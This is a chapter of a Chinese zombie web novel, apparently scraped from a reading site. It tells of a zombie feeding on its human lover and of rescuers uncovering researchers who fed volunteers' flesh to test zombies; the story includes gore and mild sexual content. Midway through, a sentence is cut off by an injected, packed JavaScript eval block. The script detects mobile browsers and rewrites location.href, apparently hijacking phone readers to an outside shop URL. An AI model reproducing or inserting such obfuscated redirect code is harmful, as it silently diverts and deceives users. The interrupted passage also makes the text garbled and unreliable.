维克多背过身去,不再看它。
单棕:……
单棕:??
它有点懵,又有点着急,十指抓了抓维克多的背,想让他转回来。
怎么突然就不理尸了呢?
它还没吃够。
这家伙,绝对趁它发呆悄悄拨快时间了!
“……你不喜欢我了。”
维克多哼哼唧唧,裹着风衣往几排书架里走,背影萧瑟。
“这么快就对我没兴趣了。”
“一点小事就能分神。”
“我的身体已经没有吸引力了么?”
“呜呜呜……”
“Honey不要我了……”
单棕瞪大双眸,眼中尽是不可置信。
这家伙在说什么?
它怎么可能不要他呢?它一直都很馋他的肉.体啊!
单棕焦躁地“嗷”了一声,紧跑两步抱住维克多的后腰,歪头咬住风衣。
维克多微微一顿,没像往常那样搂住它的双臂,却也没停下。
就这么由它抱着,摇摇晃晃的继续在书堆里逛。
“爱人之间要永远对彼此感兴趣才行。”
“Honey刚刚见了很多人,马上就厌烦我了呢。”
“是新鲜感过了吗?”
“好伤心啊,要是我能哭出泪就好了。”
“呜呜呜……”
维克多做出悲伤的动作,用袖子去擦并不存在的眼泪。
单棕忍无可忍,使出全身的力气,把这个高大的人类推到书架上。
跟维克多比起来,它有一丢丢矮,脑袋只到那家伙肩膀的位置。
但这并不妨碍它把他“咚”住。
“咔、咔。”
小丧尸的喉咙里发不出人类的语言,只能用行动来表示。
它手指很僵硬,只能抓和挠,做不了太精细的事。
以至于它在解那几颗风衣扣子的时候,怎么折腾都不得要法。
只能寄希望于将它们通通扒拉掉。
“咔、咔。”
没有不感兴趣。
它想吃,非常非常想吃。
正忙活着,遥远的某处忽然又传来一阵呼唤。
那并非个体发出的信息,而是群体的共鸣。
是同类。
单棕当这么久丧尸,刚刚还是头一次遇到这种情况。
同类们分享了一些信息,它也回应了一些自己知道的。
信息的传播不是画面,更不是文字,而是一种类似于脑电波的抽象东西。
单棕能感觉到,发出信号的同类们都很强大,应该是那些红眼睛的家伙。
在共鸣的群体之中,同等级的小丧尸,好像就它一只。
单棕就是被这种奇妙的交流短暂分了神。
但这次,它不想再回应。
丧尸并没有什么群体归属感,就算交流,目的也只是为了吃到人而已。
单棕跟那些倒霉的家伙可不一样。
它的食物就在怀里呢。
大概是感受到了它的急切,某个闹别扭的金发男终于肯为它代劳,依次将衣扣解开。
然后,慢吞吞地转过身,重新面向它。
单棕不敢再耽搁,也顾不得什么左边右边了,当即埋头进去,边抓边吃。
维克多脑袋后仰,靠枕在书架上,发出声悠长的喟叹。
“啊~~~”
“Honey……果然还是……最……喜欢我的……”
“就是这样……做得很棒……Honey……”
“不要理那些无聊的家伙,Honey在意的有我就够了。”
“啊~Honey~”
单棕的脑袋随着进食的动作晃荡,像是在回应般点点头。
它一心干饭,本不想理会那些红眼睛的家伙,可没想到群体共鸣的频率越来越高,呼唤也更加猛烈。
好像有什么重要的集体活动即将进行。
单棕起初忍得好好的,最后又开始恍惚走神。
不得不承认,红眼丧尸对低阶丧尸有天生的压制性和影响力。
单棕拒绝回应,就像幼狼未参与月光下的狼嚎。
有点难受。
当共鸣第五次传来时,一双温热的大手捂住了它的耳朵。
将外界的杂音全部隔离。
“我的房间能屏蔽它们的讯息,但外面好像不行呢。”
“Honey,认真感受我,好吗?”
“我就在你身边。”
“我在这里。”
单棕啃食的动作停下,慢慢的,变成了吮.吸。
它听见了血液在血管里汩汩流动的细微声响,还有心脏磊动的声音。
一下、两下、三下……
那是一种沉稳而又平和的旋律,能抚平所有焦躁和不安。
单棕含着含着,眼皮有些发沉了。
丧尸不需要睡眠。
但现在,它有点怀念跟维克多躺在床.上的感觉了。
* * *
“V—0”实验室内,二十多名研究人员已被控制住,双手抱头靠墙而站。
雷兹夫跟赫利率领三十余人闯到此处,望着里面形形色色的仪器发呆。
其余的他们看不懂,但摆在东南方向的两个圆柱形舱体实在吸睛。
赫利率先举着枪走过去,小心翼翼靠到近前。
他原以为关在那里的会是两只实验体丧尸,没想到躺着的一男一女,居然就是本和米娅!
舱内满是淡绿色的营养液,管线从舱体底部延伸,在地面上蜿蜒爬行,并拢后汇入到墙边那台嗡嗡作响的机器。
赫利看不懂数据,见舱内的两人全都戴着呼吸器紧闭双眼,也不敢胡乱动按钮。
他眯起眼睛,伸手拍了拍舱盖,试图引起两人的注意,离得近些才发现他们身上那被缝合过的长长刀口。
胳膊、腿、腰……
躺在营养液中的两人瘦削得像麻杆一样,难以想象刚到研究所时,他们还在因情绪激动而大喊大叫。
赫利捂住嘴,胃里那种拼命翻涌的感觉再度出现。
可这次,他却好像是早就吐干净了一样,怎么呕都呕不出来。
雷兹夫刚刚去看被束缚在实验床.上的丧尸们,慢一步才过来。
见到本和米娅的现状,雷兹夫“操”了一声,先是后退两步,随后又紧凑上前,边看边破口大骂。
“真把肉给割了?!”
“我操!那傻*所长简直不是人!这怎么能下得去手!!”
“就为研究丧尸,把活人的命都给填进去了?!!”
“你们这帮人真是畜生!老子在外面拼死拼活的救人,就是为了带回来让你们这样霍霍的?!”
雷兹夫夺过赫利的枪,拇指拨动保险开关,直接把枪口指向那堆抱头的研究员们。
“不不,我们没有强迫,是他们自愿的!”
一名叫奈德的研究员赶忙解释,其他人也知道不妙,纷纷附和。
“你们别误会!最初那几天,所长用的可都是传统实验方法!”
“是啊是啊,只是用静脉注射高浓度神经递质类似物,还有安排参与者用语言刺激实验体,激活它们的应激反应……”
“但那些都没用,和先前得到的结果一样,全都是重复性的无效数据。”
“到了第三天,实验体的瞳孔收缩频率甚至出现了耐受性下降!所长不忍心错过这么难得的机会,就、就……”
“就换了另一种方法。”
说到这,刚才还着急解释的研究员们全都闷声,互相推诿,不肯开口。
雷兹夫本来就是个暴脾气,平时就烦别人吞吞吐吐,眼下更没耐心,直接把枪抵在奈德的脑门上。
“都这时候了还打什么哑谜?别看别人!就你了!你他*的给老子说!”
被点中的倒霉蛋奈德急忙举起双手,做出投降的动作,结结巴巴的咬舌头:“所、所长的意思是,我们可能都忽略了丧尸最基础的生存本能,不、不如试试……喂养。”
修女伊莎贝拉和老研究员的腿脚慢一些,刚刚才赶到。
一进来就听见这两个字,面色皆沉重下来。
雷兹夫气血翻涌,拿枪的手都在颤。
自从末日降临后,他杀丧尸向来不手软,权当那些都是畜生一样的怪物。
他没杀过人,就算跟谁有利益纷争,也会在冲破界限的关头让步。
人命第一,这向来是他的行事标准。
可现在,看着面前这群斯文败类,他竟觉得比真正的怪物更可怕。
私下里的猜测是一回事,亲耳听到真相又是另一回事。
想起这些天耽搁的时间,想起每次犹豫本和
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17300380|198592||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
米娅都要被他们多切一刀,雷兹夫就难受得像自己被割肉了一样!
“冷静点!”
修女见雷兹夫的状态不对,急忙上前按住他的胳膊,让他把枪口移开。
杀人和杀丧尸不一样,手上一旦沾了同类的血,不是被内疚感纠缠一生,就是逐渐变得麻木不仁。
无论哪种,命运都会彻底颠覆。
雷兹夫喘着粗气,眼球布满红血丝。
奈德侥幸逃得一命,忙不迭地感谢修女,在雷兹夫警告的目光中,继续艰难地吐出实情。
“血肉喂养……很管用,起初大家都高兴了一阵子,尤其是拒食反应,让我们都看到了希望。”
“谁都没想到,实验体的拒食并没有持续多久,反而出现更加贪食的现象。”
“当时所长已经把阶段性成功的好消息告诉大家了,骑虎难下……他也是怕大家失望,就跟本和米娅商量,按照先前的方法,继续尝试喂养。”
“实验体们进步得越大,需要的血肉量就越多,到最后,两位参与者过于虚弱,每天都会晕厥。”
“所长也是没办法,才出去找其他参与者的……我们真是为了研究,没有害人!你看,他们不是还活得好好的?”
奈德说到最后,脸上浮现出平日里的冷漠神态。
在实验室里泡得太久,见惯了死死生生,很多研究员的情感已经变得十分迟钝。
存活,死亡。
清晰明了的两种状态,留不下悲伤和同情的空间。
雷兹夫到底没忍住。
他抡起砂锅大的拳头,一个一个的揍下去。
揍到最后,顺便给了自己两拳。
“错了,都错了。”赫利抱着脑袋,魔怔般喃喃自语,“丧尸就是丧尸,怪物就是怪物。”
“说到底,究竟为什么要搞‘逆转丧尸化’?”
“就算实验成功,一旦丧尸真的变回人类,那我们之前杀的怪物算什么?杀人吗?”
“等那些吃过人的丧尸复原,又该怎么面对吞噬过同类这种事?”
“世界不会恢复,只会变成更恐怖的地狱。”
“我、我爸爸把我妈吃掉了,是我用铲子,亲手把我爸脑袋铲下来的。”
“难道我也是杀人犯吗?我当时只是想活下来而已,我有什么错……”
“这种实验从一开始就不应该存在!疯子!全都是疯子!”
“人就是人!死了就是死了,活下来的就好好活着!”
“你们不该搞这些东西!该死!该死!!”
赫利嘟囔到最后忽然失控,对着闪烁红绿光的仪器们疯狂踢踹。
那些宝贝都万分贵重,研究员们向来小心呵护,冷不丁见了,都像自己被打一样心疼,立刻想冲上去。
赫利拧眉,面相比在解压室里暴揍丧尸时还凶狠:“来啊!我看谁敢来!你们还愣着干什么?全都给我一起砸!!”
外勤组的队员们你看看我,我看看你,都不敢贸然行动。
赫利在所内人缘虽好,却没有混到精神领袖的份上。
他们追随的,只有敢以身涉险、拼命救人的雷兹夫。
雷兹夫握紧双拳,犹豫不定。
眼见实验室即将被砸毁,奈德急得冒火,扯开脖子嚷嚷:“不能砸!我们又发现了丧尸新的特性!群体共鸣!!”
“参与者们提供的血肉很宝贵,所长也知道,但他手头还有其他丧尸的研究,为获得更多数据,就尝试着把肉喂给其他高阶丧尸了。”
“结果,那些跟参与者完全无关的高阶丧尸,都模仿着实验体的样子做出了拒食之类的动作,而且进步比实验体们还快!”
“高阶丧尸之间居然能互相交流,传授经验,这可是先前从未发生过的事!”
“这些怪物,开始进化了!!”
奈德说得脸红脖子粗,面上隐约浮现出激动神色。
那模样与当众演讲的所长如出一辙,恍惚间,雷兹夫竟看见这两个相貌完全不同的人重叠在一起。
“现在实验正进行到最关键的阶段,只要有更多参与者帮忙,我们一定能破解丧尸共鸣的秘密!”
“所长只要四个还是太过保守!依我看,就应该再找十个!二十个!”
“哪怕是用我自己的血肉也可以!”
“只要研究能成功,我愿意为了科学献出我的命!!”